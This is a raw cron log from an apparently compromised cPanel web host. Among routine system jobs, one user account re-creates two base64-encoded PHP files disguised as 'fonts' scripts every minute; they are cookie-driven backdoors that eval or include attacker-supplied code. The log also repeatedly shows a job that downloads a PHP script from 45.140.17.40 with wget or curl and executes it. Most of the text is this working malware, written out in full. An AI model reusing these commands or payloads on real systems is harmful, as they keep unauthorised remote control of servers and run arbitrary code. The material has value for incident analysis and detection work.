Sep  2 02:33:01 ip-184-168-122-23 CROND[29140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:33:01 ip-184-168-122-23 CROND[29144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:33:01 ip-184-168-122-23 CROND[29142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:34:01 ip-184-168-122-23 CROND[29224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:34:01 ip-184-168-122-23 CROND[29225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:34:01 ip-184-168-122-23 CROND[29226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:34:01 ip-184-168-122-23 CROND[29230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:34:01 ip-184-168-122-23 CROND[29227]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:35:02 ip-184-168-122-23 CROND[29333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:35:02 ip-184-168-122-23 CROND[29337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:35:02 ip-184-168-122-23 CROND[29334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:35:02 ip-184-168-122-23 CROND[29335]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 02:35:02 ip-184-168-122-23 CROND[29336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:35:02 ip-184-168-122-23 CROND[29339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:35:02 ip-184-168-122-23 CROND[29340]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 02:35:02 ip-184-168-122-23 CROND[29341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:36:01 ip-184-168-122-23 CROND[29445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:36:01 ip-184-168-122-23 CROND[29449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:36:01 ip-184-168-122-23 CROND[29447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:36:01 ip-184-168-122-23 CROND[29450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:36:01 ip-184-168-122-23 CROND[29448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:37:01 ip-184-168-122-23 CROND[29552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:37:01 ip-184-168-122-23 CROND[29555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:37:01 ip-184-168-122-23 CROND[29556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:37:01 ip-184-168-122-23 CROND[29554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:38:01 ip-184-168-122-23 CROND[29649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:38:01 ip-184-168-122-23 CROND[29652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:38:01 ip-184-168-122-23 CROND[29651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:38:01 ip-184-168-122-23 CROND[29650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:38:01 ip-184-168-122-23 CROND[29653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:39:01 ip-184-168-122-23 CROND[29824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:39:01 ip-184-168-122-23 CROND[29826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:39:01 ip-184-168-122-23 CROND[29829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:39:01 ip-184-168-122-23 CROND[29827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:39:01 ip-184-168-122-23 CROND[29828]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 02:40:01 ip-184-168-122-23 CROND[29997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:40:01 ip-184-168-122-23 CROND[30000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:40:01 ip-184-168-122-23 CROND[30001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:40:01 ip-184-168-122-23 CROND[30003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:40:01 ip-184-168-122-23 CROND[30009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:40:01 ip-184-168-122-23 CROND[30007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:40:01 ip-184-168-122-23 CROND[30006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:40:01 ip-184-168-122-23 CROND[30011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:41:01 ip-184-168-122-23 CROND[30099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:41:01 ip-184-168-122-23 CROND[30101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:41:01 ip-184-168-122-23 CROND[30103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:41:01 ip-184-168-122-23 CROND[30102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:42:01 ip-184-168-122-23 CROND[30204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:42:01 ip-184-168-122-23 CROND[30208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:42:01 ip-184-168-122-23 CROND[30209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:42:01 ip-184-168-122-23 CROND[30206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:42:01 ip-184-168-122-23 CROND[30207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:43:01 ip-184-168-122-23 CROND[30300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:43:01 ip-184-168-122-23 CROND[30302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:43:01 ip-184-168-122-23 CROND[30304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:43:01 ip-184-168-122-23 CROND[30303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:44:01 ip-184-168-122-23 CROND[30386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:44:01 ip-184-168-122-23 CROND[30384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:44:01 ip-184-168-122-23 CROND[30388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:44:01 ip-184-168-122-23 CROND[30387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:44:01 ip-184-168-122-23 CROND[30385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:45:01 ip-184-168-122-23 CROND[30563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:45:01 ip-184-168-122-23 CROND[30565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
